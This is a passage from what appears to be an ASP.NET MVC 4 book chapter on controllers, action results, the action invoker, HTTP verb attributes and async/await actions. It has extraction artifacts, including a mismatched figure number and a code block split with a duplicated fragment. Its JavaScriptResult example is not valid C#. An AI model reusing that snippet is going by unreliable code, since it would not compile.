Interestingly, ASP.NET MVC itself is layered on top of HTTP handlers, as you'll see later, and overall there was no need to make internal plumbing changes to ASP.NET to implement MVC. Instead, the ASP.NET MVC team layered this new framework on top of existing ASP.NET extensibility points.

The standard approach to writing a controller is to have it inherit from the `System.Web.Mvc.Controller` abstract base class, which implements the `ControllerBase` base class, and thus the `IController` interface. The `Controller` class is intended to serve as the base class for all controllers because it provides a lot of nice behaviors to controllers that derive from it.

Figure 15-6 shows the relationship between `IController`, `ControllerBase`, the `Controller` abstract base class, and the two controllers that are included in a default ASP.NET MVC 4 application.

FIGURE 15-16

Action Methods

All public methods of a class that derive from `Controller` are action methods, which are potentially callable via an HTTP request. Rather than one monolithic implementation of `Execute`, you can factor your controller into action methods, each of which responds to a specific user input.

PRODUCT TEAM ASIDE

Upon reading that every public method of your `Controller` class is publicly callable from the Web, you might have a gut reaction concerning the security of such an approach. The product team had a lot of internal and external debate concerning this.

Originally, each action method required that an attribute, `ControllerActionAttribute`, be applied to each callable method. However, many felt this violated the DRY principle (Don't Repeat Yourself). It turns out that the concern over these methods being web-callable has to do with a disagreement over what it means to *opt in*.

As far as the product team is concerned, multiple levels of opting in exist before a method is web-callable. The first level that you need to have opted in to is an ASP.NET MVC project. If you add a public `Controller` class to a standard ASP.NET Web Application project, that class is not going to suddenly be web-callable (although adding such a class to an ASP.NET MVC project is likely to make it callable). You would still need to define a route with a route handler (such as the `MvcRouteHandler`) that corresponds to that class.

The general consensus here is that by inheriting from `Controller`, you've opted in to this behavior. You can't do that by accident. Even if you did, you would still have to define routes that correspond to that class.

The ActionResult

As mentioned before, the purpose of the controller within the MVC pattern is to respond to user input. In ASP.NET MVC, the action method is the granular unit of response to user input. The action method is ultimately responsible for handling a user request and outputting the response that is displayed to the user, which is typically HTML.

The pattern that an action method follows is to do whatever work is asked of it, and at the end, return an instance of a type that derives from the `ActionResult` abstract base class.

Taking a quick look at the source for the `ActionResult` abstract base class, you see:

```
public abstract class ActionResult
{
    public abstract void ExecuteResult(ControllerContext context);
}
```

Notice that the class contains a single method, `ExecuteResult`. If you're familiar with the Command Pattern, this should look familiar to you. Action results represent commands that your action method wants the framework to perform on its behalf.

Action results generally handle framework-level work, while the action method handles your application logic. For example, when a request comes in to display a list of products, your action method will query the database and put together a list of the appropriate products to show. Perhaps it needs to perform some filtering based on business rules within your app. At this point, your action method is completely focused on application logic.

However, once the method is ready to display the list of products to the user, you may not want your code, which is focused on view logic, to have to worry about implementation details provided by the framework, such as writing to the HTTP response directly. Perhaps you have a template defined that knows how to format a collection of products as HTML. You'd rather not have that information encapsulated in the action method because it would violate the separation of concerns the authors have so carefully cultivated up until this point.

One technique you have at your disposal is to have the action method return a `ViewResult` (which derives from `ActionResult`) and give the data to that instance, and then return that instance.

At that point, your action method is done with its work, and the action invoker will call the `ExecuteResult` method on that `ViewResult` instance, which does the rest. Here's what the code might look like:

```
public ActionResult ListProducts()
{
    //Pseudo code
    IList<Product> products = SomeRepository.GetProducts();
    ViewData.Model = products;
    return new ViewResult { ViewData = this.ViewData };
}
```

In practice, you'll probably never see code that instantiates an `ActionResult` instance directly like that. Instead, you would use one of the helper methods of the `Controller` class, such as the `View` method, as follows:

```
public ActionResult ListProducts()
{
    //Pseudo code
    IList<Product> products = SomeRepository.GetProducts();
    return View(products);
}
```

The next chapter covers the `ViewResult` in more depth and tells how it relates to views.

Action Result Helper Methods

If you take a close look at the default controller actions in the default ASP.NET MVC project template, you'll notice that the action methods don't directly instantiate instances of `ViewResult`. For example, here's the code for the `About` method:

```
public ActionResult About() {
    ViewData["Title"] = "About Page";
    return View();
}
```

Notice that it returns the result of a call to the `View` method. The `Controller` class contains several convenience methods for returning `ActionResult` instances. These methods are intended to help make action method implementations a bit more readable and declarative. Instead of creating new instances of action results, it is more common to return the result of one of these convenience methods.

These methods are generally named after the action result type that they return, with the `Result` suffix omitted. Hence the `View` method returns an instance of `ViewResult`. Likewise, the `Json` method returns an instance of `JsonResult`. The one exception in this case is the `RedirectToAction` method, which returns an instance of `RedirectToRoute`.

The `Redirect`, `RedirectToAction`, and `RedirectToRoute` methods all send an HTTP 302 status code, indicating a temporary redirection. In cases where content has moved permanently, you want to tell clients that you are using an HTTP 301 status code. One of the primary benefits of doing this is search engine optimization. When a search engine encounters an HTTP 301 code, it will update the URLs displayed in search results; updating expired links can often have an impact on search engine ranking as well. For this reason, each method that returns a `RedirectResult` has a counterpart method that returns an HTTP 301 status code. These counterpart methods are `RedirectPermanent`, `RedirectToActionPermanent`, and `RedirectToRoutePermanent`. Note that browsers and other clients will cache HTTP 301 responses, so you should not use them unless you are certain the redirect is permanent.

Table 15-4 lists the existing methods and which types they return.

TABLE 15-4: Controller Convenience Methods That Return `ActionResult` Instances

METHOD	DESCRIPTION
<code>Redirect</code>	Returns a <code>RedirectResult</code> , which redirects the user to the appropriate URL.
<code>RedirectPermanent</code>	The same as <code>Redirect</code> but returns a <code>RedirectResult</code> with the <code>Permanent</code> property set to <code>true</code> , thus returning an HTTP 301 status code.
<code>RedirectToAction</code>	Returns a <code>RedirectToRouteResult</code> , which redirects the user to an action using the supplied route values.
<code>RedirectToActionPermanent</code>	The same as <code>RedirectToAction</code> but returns a <code>RedirectResult</code> with the <code>Permanent</code> property set to <code>true</code> , thus returning an HTTP 301 status code.
<code>RedirectToRoute</code>	Returns a <code>RedirectToRouteResult</code> , which redirects the user to the URL that matches the specified route values.
<code>RedirectToRoutePermanent</code>	The same as <code>RedirectToRoute</code> but returns a <code>RedirectResult</code> with the <code>Permanent</code> property set to <code>true</code> , thus returning an HTTP 301 status code.

TABLE 15-4 (*continued*)

METHOD	DESCRIPTION
View	Returns a <code>ViewResult</code> , which renders the view to the response.
PartialView	Returns a <code>PartialViewResult</code> , which renders a partial view to the response.
Content	Returns a <code>ContentResult</code> , which writes the specified content (string) to the response.
File	Returns a class that derives from <code>FileResult</code> , which writes binary content to the response.
Json	Returns a <code> JsonResult</code> containing the output from serializing an object to JSON.
JavaScript	Returns a <code> JavaScriptResult</code> containing JavaScript code that is immediately executed when returned to the client.

Action Result Types

ASP.NET MVC includes several `ActionResult` types for performing common tasks, as listed in Table 15-5. Each type is discussed in more detail in the sections that follow.

TABLE 15-5: Descriptions of `ActionResult` Types

ACTIONRESULT TYPE	DESCRIPTION
<code>ContentResult</code>	Writes the specified content directly to the response as text.
<code>EmptyResult</code>	Represents a null or empty response. It doesn't do anything.
<code>FileContentResult</code>	Derives from <code>FileResult</code> and writes a byte array to the response.
<code>FilePathResult</code>	Derives from <code>FileResult</code> and writes a file to the response based on a file path.
<code>FileResult</code>	Serves as the base class for a set of results that writes a binary response to the stream. Useful for returning files to the user.
<code>FileStreamResult</code>	Derives from <code>FileResult</code> and writes a stream to the response.
<code>HttpNotFound</code>	Derives from <code>HttpStatusCodeResult</code> . Returns an HTTP 404 response code to the client, indicating that the requested resource is not found.
<code>HttpStatusCodeResult</code>	Returns a user-specified HTTP code.

ActionResult Type	Description
HttpUnauthorizedResult	Derives from <code>HttpStatusCodeResult</code> . Returns an HTTP 401 response code to the client, indicating that the requestor does not have authorization to the resource at the requested URL.
JavaScriptResult	Used to execute JavaScript code immediately on the client sent from the server.
JsonResult	Serializes the objects it is given into JSON and writes the JSON to the response, typically in response to an Ajax request.
PartialViewResult	This is similar to <code>ViewResult</code> , except it renders a partial view to the response, typically in response to an Ajax request.
RedirectResult	Redirects the requestor to another URL by returning either a temporary redirect code 302 or permanent redirect code 301, depending upon a Boolean <code>Permanent</code> flag.
RedirectToRouteResult	Similar to <code>RedirectResult</code> , but redirects the user to a URL specified via Routing parameters.
ViewResult	Calls into a view engine to render a view to the response.

ContentResult

The `ContentResult` writes its specified content (via the `Content` property) to the response. This class also allows for specifying the content encoding (via the `ContentEncoding` property) and the content type (via the `ContentType` property).

If the encoding is not specified, the content encoding for the current `HttpResponse` instance is used. The default encoding for `HttpResponse` is specified in the globalization element of `web.config`.

Likewise, if the content type is not specified, the content type set on the current `HttpResponse` instance is used. The default content type for `HttpResponse` is `text/html`.

EmptyResult

As the name implies, the `EmptyResult` is used to indicate that the framework should do nothing. This follows a common design pattern known as the *Null Object pattern*, which replaces null references with an instance. In this instance, the `ExecuteResult` method has an empty implementation. This design pattern was introduced in Martin Fowler's book *Refactoring: Improving the Design of Existing Code* (Addison-Wesley Professional, 1999). You can learn more at <http://martinfowler.com/bliki/refactoring.html>.

FileResult

The `FileResult` is very similar to the `ContentResult` except that it is used to write binary content (for example, a Microsoft Word document on disk or the data from a blob column in SQL Server) to the response. Setting the `FileDownloadName` property on the result will set the appropriate value for the Content-Disposition header, causing a file download dialog to appear for the user.

Note that `FileResult` is an abstract base class for three different file result types:

- `FilePathResult`
- `FileContentResult`
- `FileStreamResult`

Usage typically follows the factory pattern in which the specific type returned depends on which overload of the `File` method (discussed later) is called.

HttpStatusCodeResult

The `HttpStatusCodeResult` provides a way to return an action result with a specific HTTP response status code and description. For example, to notify the requestor that a resource is permanently unavailable, you could return a 410 (Gone) HTTP status code. Suppose you'd made the firm decision that your store would stop carrying disco albums. You could update your `StoreController` `Browse` action to return a 410 if a user searched for disco:

```
public ActionResult Browse(string genre)
{
    if(genre.Equals("disco", StringComparison.InvariantCultureIgnoreCase))
        return new HttpStatusCodeResult(410);

    var genreModel = new Genre { Name = genre };
    return View(genreModel);
}
```

Note that there are five specific `ActionResults` based on common HTTP status codes, which were previously described in Table 15-5:

- `HttpNotFoundResult`
- `HttpStatusCodeResult`
- `HttpUnauthorizedResult`
- `RedirectResult`
- `RedirectToRouteResult`

Both `RedirectResult` and `RedirectToRouteResult` (described later in this section) are based on the common HTTP 301 and HTTP 302 response codes.

JavaScriptResult

The `JavaScriptResult` is used to execute JavaScript code on the client sent from the server. For example, when using the built-in Ajax helpers to make a request to an action method, the method could return a bit of JavaScript that is immediately executed when it gets to the client:

```
public ActionResult DoSomething() {
    script s = $("#some-div").html('Updated!');

    return JavaScript(s);
}
```

This would be called by the following code:

```
<%: Ajax.ActionLink("click", "DoSomething", new AjaxOptions()) %>
<div id="some-div"></div>
```

This assumes that you've referenced the Ajax libraries and jQuery.

JsonResult

The `JsonResult` uses the `JavaScriptSerializer` class to serialize its contents (specified via the `Data` property) to the JSON (JavaScript Object Notation) format. This is useful for Ajax scenarios that have a need for an action method to return data in a format easily consumable by JavaScript.

As for `ContentResult`, the content encoding and content type for the `JsonResult` can both be set via properties. The only difference is that the default `ContentType` is `application/json` and not `text/html` for this result.

Note that the `JsonResult` serializes the entire object graph. Thus, if you give it a `ProductCategory` object, which has a collection of 20 `Product` instances, every `Product` instance will also be serialized and included in the JSON sent to the response. Now imagine if each `Product` had an `Orders` collection containing 20 `Order` instances. As you can imagine, the JSON response can grow huge quickly.

There is currently no way to limit how much to serialize into the JSON, which can be problematic with objects that contain a lot of properties and collections, such as those typically generated by LINQ to SQL. The recommended approach is to create a type that contains the specific information you want included in the `JsonResult`. This is one situation in which an anonymous type comes in handy.

For example, in the preceding scenario, instead of serializing an instance of `ProductCategory`, you can use an anonymous object initializer to pass in just the data you need, as the following code sample demonstrates:

```
public ActionResult PartialJson()
{
    var category = new ProductCategory { Name="Partial" };
    var result = new {
        Name = category.Name,
        ProductCount = category.Products.Count
    };
    return Json(result);
}
```

In this example, all you needed was the category name and the product count for the category. Rather than serializing the entire object graph, you pulled the information you needed from the actual object and stored that information in an anonymous type instance named `result`. You then sent that instance to the response, rather than the entire object graph. Another benefit of this approach is that you won't inadvertently serialize data you don't want the client to see, such as any internal product codes, stock quantity, supplier information, and so forth.

RedirectResult

The `RedirectResult` performs an HTTP redirect to the specified URL (set via the `Url` property). Internally, this result calls the `HttpResponse.Redirect` method, which sets the HTTP status code to `HTTP/1.1 302 Object Moved`, causing the browser to immediately issue a new request for the specified URL.

Technically, you could just make a call to `Response.Redirect` directly within your action method, but using the `RedirectResult` defers this action until after your action method finishes its work. This is useful for unit testing your action method and helps keep underlying framework details outside of your action method.

RedirectToRouteResult

`RedirectToRouteResult` performs an HTTP redirect in the same manner as the `RedirectResult`, but instead of specifying a URL directly, this result uses the Routing API to determine the redirect URL.

Note that there are two convenience methods (defined in Table 15-4) that return a result of this type: `RedirectToRoute` and `RedirectToAction`.

As discussed earlier, there are three additional methods that return an HTTP 301 (Moved Permanently) status code: `RedirectPermanent`, `RedirectToActionPermanent`, and `RedirectToRoutePermanent`.

ViewResult

The `ViewResult` is the most widely used action result type. It calls the `FindView` method of an instance of `IViewEngine`, returning an instance of `IView`. The `ViewResult` then calls the `Render` method on the `IView` instance, which renders the output to the response. In general, this inserts the specified view data (the data that the action method has prepared to be displayed in the view) into a view template that formats the data for displaying.

PartialViewResult

`PartialViewResult` works in exactly the same way that `ViewResult` does, except that it calls the `FindPartialView` method to locate a view rather than `FindView`. It's used to render partial views and is useful in partial update scenarios when using Ajax to update a portion of the page with new HTML.

Implicit Action Results

One constant goal with ASP.NET MVC, and software development in general, is to make the intentions of the code as clear as possible. There are times when you have a very simple action method only intended to return a single piece of data. In this case, it is helpful to have your action method signature reflect the information that it returns.

To highlight this point, consider a `Distance` method which calculates the distance between two points. This action could write directly to the response — as shown in the first controller actions in

Chapter 2, in the section titled “Writing Your First (Outrageously Simple) Controller.” However, an action that returns a value can also be written as follows:

```
public double Distance(int x1, int y1, int x2, int y2)
{
    double xSquared = Math.Pow(x2 - x1, 2);
    double ySquared = Math.Pow(y2 - y1, 2);
    return Math.Sqrt(xSquared + ySquared);
}
```

Notice that the return type is a `double` and not a type that derives from `ActionResult`. This is perfectly acceptable. When ASP.NET MVC calls that method and sees that the return type is not an `ActionResult`, it automatically creates a `ContentResult` containing the result of the action method and uses that internally as the `ActionResult`.

One thing to keep in mind is that the `ContentResult` requires a string value, so the result of your action method needs to be converted to a string first. To do this, ASP.NET MVC calls the `ToString` method on the result, using `InvariantCulture`, before passing it to the `ContentResult`. If you need to have the result formatted according to a specific culture, you should explicitly return a `ContentResult` yourself.

In the end, the preceding method is roughly equivalent to the following method:

```
public ActionResult Distance(int x1, int y1, int x2, int y2)
{
    double xSquared = Math.Pow(x2 - x1, 2);
    double ySquared = Math.Pow(y2 - y1, 2);
    double distance = Math.Sqrt(xSquared + ySquared);
    return Content(Convert.ToString(distance, CultureInfo.InvariantCulture));
}
```

The advantages of the first approach are that it makes your intentions clearer, and the method is easier to unit test.

Table 15-6 highlights the various implicit conversions you can expect when writing action methods that do not have a return type of `ActionResult`.

TABLE 15-6: Implicit Conversions with Action Methods

RETURN VALUE	DESCRIPTION
Null	The action invoker replaces null results with an instance of <code>EmptyResult</code> . This follows the Null Object Pattern. As a result, implementers writing custom action filters don't have to worry about null action results.
Void	The action invoker treats the action method as if it returned null, and thus an <code>EmptyResult</code> is returned.
Other objects that don't derive from <code>ActionResult</code>	The action invoker calls <code>ToString</code> using <code>InvariantCulture</code> on the object and wraps the resulting string in a <code>ContentResult</code> instance.

NOTE The code to create a `ContentResult` instance is encapsulated in a virtual method on the action invoker called `CreateActionResult`. For those who want to return a different implicit action result type, you can write a custom action invoker that derives from `ControllerActionInvoker` and override that method.

One example might be to have return values from action methods automatically be wrapped by a `JsonResult`.

Action Invoker

We've made several references in this chapter to the action invoker without giving any details about it. Well, no more arm waving! This section covers the role of a critical element in the ASP.NET MVC request processing chain: the thing that actually invokes the action you're calling — the action invoker. When we first defined the controller earlier in this chapter, we looked at how Routing maps a URL to an action method on a `Controller` class. Diving deeper into the details, you learned that routes themselves do not map anything to controller actions; they merely parse the incoming request and populate a `RouteData` instance stored in the current `RequestContext`.

It's the `ControllerActionInvoker`, set via the `ActionInvoker` property on the `Controller` class that is responsible for invoking the action method on the controller based on the current request context. The invoker performs the following tasks:

- It locates the action method to call.
- It gets values for the parameters of the action method by using the model binding system.
- It invokes the action method and all its filters.
- It calls `ExecuteResult` on the `ActionResult` returned by the action method. For methods that do not return an `ActionResult`, the invoker creates an implicit action result as described in the previous section and calls `ExecuteResult` on that.

In the next section, you'll take a closer look at how the invoker locates an action method.

How an Action Is Mapped to a Method

The `ControllerActionInvoker` looks in the route values dictionary associated with the current request context for a value corresponding to the action key. As an example, here is the URL pattern for the default route:

```
{controller}/{action}/{id}
```

When a request comes in and matches that route, a dictionary of route values (accessible via the `RequestContext`) is populated based on this route. For example, if a request comes in for

```
/home/list/123
```

Routing adds the value `list` with a key of `action` to the route values dictionary.

At this point within the request, an action is just a string extracted from the URL; it is not a method. The string represents the name of the action that should handle this request. Though it may commonly be represented by a method, the action really is an abstraction. There might be more than one method that can respond to the action name. Or it might not even be a method but a workflow or some other mechanism that can handle the action.

The point of this is that, while in the general case an action typically maps to a method, it doesn't have to. We'll see an example of this later in the chapter, where we discuss asynchronous actions where there are *two* methods per action.

Action Method Selection

Once the invoker has determined the action's name, it attempts to identify a method that can respond to that action. By default, the invoker uses reflection to find a public method on a class that derives from a `Controller` that has the same name (case-insensitive) as the current action. Such a method must meet the following criteria:

- An action method must not have the `NonActionAttribute` defined.
- Special methods such as constructors, property accessors, and event accessors cannot be action methods.
- Methods originally defined on `Object` (such as `ToString`) or on `Controller` (such as `Dispose` or `View`) cannot be action methods.

Like many features of ASP.NET MVC, you can tweak this default behavior to suit any special needs your applications might have.

ActionNameAttribute

Applying the `ActionNameAttribute` attribute to a method allows you to specify the action that the method handles. For example, suppose that you want to have an action named `View`. Unfortunately, this would conflict with the built-in `View` method of `Controller` that's used to return a `viewResult`. An easy way to work around this issue is to do the following:

```
[ActionName("View")]
public ActionResult ViewSomething(string id)
{
    return View();
}
```

The `ActionNameAttribute` redefines the name of this action as `View`. Thus, this method is invoked in response to requests for `/home/view`, but not for `/home/viewsomething`. In the latter case, as far as the action invoker is concerned, an action method named `viewsomething` does not exist.

One consequence of this is that if you're using our conventional approach to locate the view that corresponds to this action, the view should be named after the action, not after the method. In the preceding example (assuming that this is a method of `HomeController`), you would look for the view in `~/Views/Home/View.cshtml` by default.

This attribute is not required for an action method. There is an implicit rule that the name of the action method serves as the action name if this attribute is not applied.

ActionSelectorAttribute

You're not done matching the action to a method yet. Once you've identified all methods of the `Controller` class that match the current action name, you need to whittle the list down further by looking at all instances of the `ActionSelectorAttribute` applied to the methods in the list.

This attribute is an abstract base class for attributes that provide fine-grained control over which requests an action method can respond to. The API for this method consists of a single method:

```
public abstract class ActionSelectorAttribute : Attribute
{
    public abstract bool IsValidForRequest(ControllerContext controllerContext,
        MethodInfo methodInfo);
}
```

At this point, the invoker looks for any methods in the list that contain attributes that derive from this attribute and calls the `IsValidForRequest` method on each attribute. If any attribute returns `false`, the method that the attribute is applied to is removed from the list of potential action methods for the current request.

At the end, you should be left with one method in the list, which the invoker then invokes. If more than one method can handle the current request, the invoker throws an exception indicating that there is an ambiguity in the method to call. If no method can handle the request, the invoker calls `HandleUnknownAction` on the controller.

The ASP.NET MVC framework includes two implementations of this base attribute: the `AcceptVerbsAttribute` and the `NonActionAttribute`.

AcceptVerbsAttribute

`AcceptVerbsAttribute` is a concrete implementation of `ActionSelectorAttribute` that uses the current HTTP request's HTTP method (*verb*) to determine whether or not a method is the action that should handle the current request. This allows you to have method overloads, both of which are actions but respond to different HTTP verbs.

MVC includes a more terse syntax for HTTP method restriction with the `[HttpGet]`, `[HttpPost]`, `[HttpDelete]`, `[HttpPut]`, and `[HttpHead]` attributes. These are simple aliases for the previous `[AcceptVerbs(HttpVerbs.Get)]`, `[AcceptVerbs(HttpVerbs.Post)]`, `[AcceptVerbs(HttpVerbs.Delete)]`, `[AcceptVerbs(HttpVerbs.Put)]`, and `[AcceptVerbs(HttpVerbs.Head)]` attributes, but are easier to both type and read.

For example, you may want two versions of the `Edit` method: one that renders the edit form and the other that handles the request when that form is posted:

```
[HttpGet]
public ActionResult Edit(string id)
{
    return View();
}

[HttpPost]
public ActionResult Edit(string id, FormCollection form)
{
    //Save the item and redirect...
}
```

When a POST request for `/home/edit` is received, the action invoker creates a list of all methods of the controller that match the `edit` action name. In this case, you would end up with a list of two methods. Afterward, the invoker looks at all the `ActionSelectorAttribute` instances applied to each method and calls the `IsValidForRequest` method on each. If each attribute returns `true`, the method is considered valid for the current action.

For example, in this case, when you ask the first method if it can handle a POST request, it will respond with `false` because it handles only GET requests. The second method responds with `true` because it can handle the POST request, and it is the one selected to handle the action.

If no method is found that meets these criteria, the invoker will call the `HandleUnknownAction` method on the controller, supplying the name of the missing action. If more than one action method meeting these criteria is found, an `InvalidOperationException` is thrown.

Simulating RESTful Verbs

Most browsers support only two HTTP verbs during normal web browsing: GET and POST. However, the REST architectural style also makes use of a few additional standard verbs: DELETE, HEAD, and PUT. ASP.NET MVC allows you to simulate these verbs via the `Html.HttpMethodOverride` helper method, which takes a parameter to indicate one of the standard HTTP verbs (DELETE, GET, HEAD, POST, and PUT). Internally, this works by sending the verb in an `X-HTTP-Method-Override` form field.

The behavior of `HttpMethodOverride` is complemented by the `[AcceptVerbs]` attribute as well as the new shorter verb attributes:

- `HttpPostAttribute`
- `HttpPutAttribute`
- `HttpGetAttribute`
- `HttpDeleteAttribute`
- `HttpHeadAttribute`

Though the HTTP method override can be used only when the real request is a POST request, the override value can also be specified in an HTTP header or in a query string value as a name/value pair.

MORE ON OVERRIDING HTTP VERBS

Overriding HTTP verbs via `X-HTTP-Method-Override` is not an official standard, but it has become a common convention. It was first introduced by Google as part of the Google Data Protocol in 2006 (<http://code.google.com/apis/gdata/docs/2.0/basics.html>), and has since been implemented in a variety of RESTful web APIs and web frameworks. Ruby on Rails follows the same pattern, but uses a `_method` form field instead of `X-HTTP-Method-Override`.

MVC allows the override for POST requests only. The framework will look for the overridden verb first from the HTTP headers, then from post values, and, finally, from query string values.

Invoking Actions

Next the invoker uses the model binder (discussed in depth in Chapter 4, in the “Model Binding” section) to map values for each parameter of the action method, and is then finally ready to invoke the action method itself. At this point, the invoker builds up a list of filters associated with the current action method and invokes the filters along with the action method, in the correct order. For more detailed coverage of this, see the “Action Filters” section of Chapter 13.

Using Asynchronous Controller Actions

ASP.NET MVC 2 and later include full support for an asynchronous request pipeline. The purpose of this asynchronous pipeline is to allow the web server to handle long-running requests — such as those that spend a large amount of time waiting for a network or database operation to complete — while still remaining responsive to other requests. In this regard, asynchronous code is about servicing requests more efficiently than it is about servicing an individual request more quickly.

While very powerful, writing asynchronous controller actions prior to MVC 4 was difficult. MVC 4 leverages the following recent .NET Framework features to greatly simplify the process:

- .NET 4 introduced a new Task Parallel Library to simplify the development work to support parallelism and concurrency in .NET applications. The Task Parallel Library includes a new type, the `Task`, to represent an asynchronous operation. MVC 4 supports this by allowing you to return `Task<ActionResult>` from an action method.
- .NET 4.5 further simplifies asynchronous programming through two new keywords, `async` and `await`. The `async` modifier notifies the compiler that a method (including anonymous methods and lambda expressions) is asynchronous, containing one or more long-running operations. The `await` keyword is applied to tasks within an asynchronous method, indicating that the method should be suspended until the awaited task completes.
- The combination of .NET 4 Tasks and .NET 4.5 `async` and `await` support is referred to as the *Task-based Asynchronous Pattern*, or TAP. Writing asynchronous controller actions using TAP support in MVC 4 is significantly easier than the prior solution in MVC 2 and 3. In this section, we'll focus on using TAP with MVC 4 on .NET 4.5, with a few notes at the end if you're working in MVC 2 or 3.

To understand the difference between asynchronous and synchronous ASP.NET code, one must first have a basic knowledge of how requests are processed by the web server. IIS maintains a collection of idle threads (the *thread pool*) that are used to service requests. When a request comes in, a thread from the pool is scheduled to process that request. While a thread is processing a request, it cannot be used to process any other requests until it has finished with the first. The ability of IIS to service multiple requests simultaneously is based on the assumption that there will be free threads in the pool to process incoming requests.

Now consider an action that makes a network call as part of its execution, and consider that the network call might take two seconds to complete. From the site visitor's point of view, the server

takes about two seconds to respond to his or her request, if you take into account a little bit of overhead on the web server itself. In a synchronous world, the thread processing the request is blocked for the two seconds that the network call is taking place. That is, the thread cannot perform useful work for the current request because it's waiting for the network call to complete, but it also can't do any useful work for any other request because it's still scheduled to work on the first request. A thread in this condition is known as a *blocked thread*. Normally this isn't a problem because the thread pool is large enough to accommodate such scenarios. However, in large applications that process multiple simultaneous requests, this can lead to many threads being blocked waiting for data and not enough idle threads left in the thread pool available for dispatch for servicing new incoming requests. This condition is known as *thread starvation*, and it can severely affect the performance of a website (see Figure 15-17).

FIGURE 15-17

In an asynchronous pipeline, threads are not blocked waiting for data. When a long-running application such as a network call begins, the action is responsible for voluntarily relinquishing control of the thread for the duration of the operation. Essentially, the action tells the thread, “It'll be a while before I can continue, so don't bother waiting for me right now. I'll notify IIS when the data I need is available.” The thread is then returned to the thread pool so that it can handle another request, and the current request is essentially paused while waiting for data. Importantly, while a request is in this state, it is not assigned to any thread from the thread pool, so it is not blocking other requests from being processed. When the action's data becomes available, the network request completion event notifies IIS and a free thread from the thread pool is dispatched to continue processing the request. The thread that continues processing the request may or may not be the same thread that originated the request, but the pipeline takes care of this so that developers don't have to worry about it (see Figure 15-18).

FIGURE 15-18

It is important to note that in the previous example, the end user still sees a two-second delay between the time he sends the request and the time he receives a response from the server. This is what is meant by the earlier statement about asynchronous being primarily for efficiency rather than the response speed for an individual request. Even though it takes the same amount of time to respond to the user's request regardless of whether the operation is synchronous or asynchronous, in an asynchronous pipeline the server is not blocked from doing other useful work while waiting for the first request to complete.

Choosing Synchronous versus Asynchronous Pipelines

The following are some guidelines for deciding whether to use synchronous or asynchronous pipelines. Note that these are just guidelines and each application will have its own requirements.

Use synchronous pipelines when:

- The operations are simple or short-running.
- Simplicity and testability are important.
- The operations are CPU-bound rather than IO-bound.

Use asynchronous pipelines when:

- Testing shows that blocking operations are bottlenecking site performance.
- Parallelism is more important than simplicity of code.
- The operations are IO-bound rather than CPU-bound.

Because asynchronous pipelines have more infrastructure and overhead than synchronous pipelines, asynchronous code is somewhat more difficult to reason about than synchronous code. Testing such code would require mocking more of the infrastructure, and it would also require taking into account that the code can execute in many different orderings. Finally, it's not really beneficial to convert a CPU-bound operation to an asynchronous operation, because all that does is add overhead to an operation that probably wasn't blocked to begin with. In particular, this means that code that performs CPU-bound work within the `ThreadPool.QueueUserWorkItem()` method will not benefit from an asynchronous pipeline.

Writing Asynchronous Action Methods

Asynchronous actions using the new TAP model in MVC 4 are very similar to standard (synchronous) actions. Here are the requirements for converting an action to an asynchronous action:

- The action method must be marked as asynchronous using the `async` modifier.
- The action must return either `Task` or `Task<ActionResult>`.
- Any asynchronous operations within the method use the `await` keyword to suspend operation until the call has completed.

For example, consider a portal site that displays news for a given area. The news in this example is provided via a `GetNews()` method that involves a network call that could be long-running. A typical synchronous action might look like this:

```
public class PortalController : Controller {
    public ActionResult News(string city) {
        NewsService newsService = new NewsService();
        NewsModel news = newsService.GetNews(city);
        return View(news);
    }
}
```

Here is that same action converted to an asynchronous action:

```
public class PortalController : Controller {
    public async Task<ActionResult> News(string city) {
        NewsService newsService = new NewsService();
        NewsModel news = await newsService.GetNews(city);
        return View(news);
    }
}
```

As described earlier, we only had to make three changes: add the `async` modifier to the action, return a `Task<ActionResult>`, and add an `await` before the call to the long-running service.

WHEN WOULD YOU JUST RETURN TASK?

You may have wondered why MVC 4 supports returning `Task` as well as `Task<ActionResult>`. What's the point of an action that doesn't return anything?

It turns out that this is pretty useful in long-running service operations that don't need to return any output. For instance, you might have an action that performs a lengthy service operation, such as sending bulk e-mail or building a large report. In those cases, there's nothing to return and there's no caller listening. Returning `Task` is the same as returning `void` from a synchronous action; both are converted to an `EmptyResult` response, which means no response is sent.

Performing Multiple Parallel Operations

The preceding example won't perform any faster than a standard synchronous action; it just allows for more efficient use of server resources (as explained at the beginning of this section). One of the greatest benefits of asynchronous code can be seen when an action wants to perform several asynchronous operations at a time. For example, a typical portal site would show not only news, but also sports, weather, stocks, and other information:

```
public class PortalController : Controller {
    public ActionResult Index(string city) {
        NewsService newsService = new NewsService();
        WeatherService weatherService = new WeatherService();
        SportsService sportsService = new SportsService();

        PortalViewModel model = new PortalViewModel {
            News = newsService.GetNews(city),
            Weather = weatherService.GetWeather(city),
            ...
        };
        return View(model);
    }
}
```

```

        Sports = sportsService.GetScores(city)
    };

    return View(model);
}
}

```

Note that the calls are performed sequentially, so the time required to respond to the user is equal to the sum of the times required to make each individual call. If the calls are 200, 300, and 400 milliseconds (ms), then the total action execution time is 900 ms (plus some insignificant overhead).

Similarly, an asynchronous version of that action would take the following form:

```

public class PortalController : Controller {
    public async Task<ActionResult> Index(string city) {
        NewsService newsService = new NewsService();
        WeatherService weatherService = new WeatherService();
        SportsService sportsService = new SportsService();

        var newsTask = newsService.GetNewsAsync(city);
        var weatherTask = weatherService.GetWeatherAsync(city);
        var sportsTask = sportsService.GetScoresAsync(city);

        await Task.WhenAll(newsTask, weatherTask, sportsTask);

        PortalViewModel model = new PortalViewModel {
            News = newsTask.Result,
            Weather = weatherTask.Result,
            Sports = sportsTask.Result
        };

        return View(model);
    }
}

```

Note that the operations are all kicked off in parallel, so the time required to respond to the user is equal to the longest individual call time. If the calls are 200, 300, and 400 ms, then the total action execution time is 400 ms (plus some insignificant overhead).

PARALLEL TASK CALLS USING TASK.WHENALL

Note that we used the `Task.WhenAll()` method to execute multiple tasks in parallel. You might think that just adding the `await` keyword to each of our service calls would parallelize them, but that's not the case. While `await` does release the thread until a long-running call completes, the second awaited call won't start until the first completes. `Task.WhenAll` will execute all tasks in parallel and will return when all tasks are complete.

In both of the preceding examples, the URL to access the action is `/Portal/Index?city=Seattle` (or `/Portal?city=Seattle`, using the default route), and the view page name is `Index.cshtml` (because the action name is `Index`).

This is a classic example where `async` is used not only for efficiency, but for performance as well (from the end user's perspective).

MVC 2 and 3 Using AsyncController

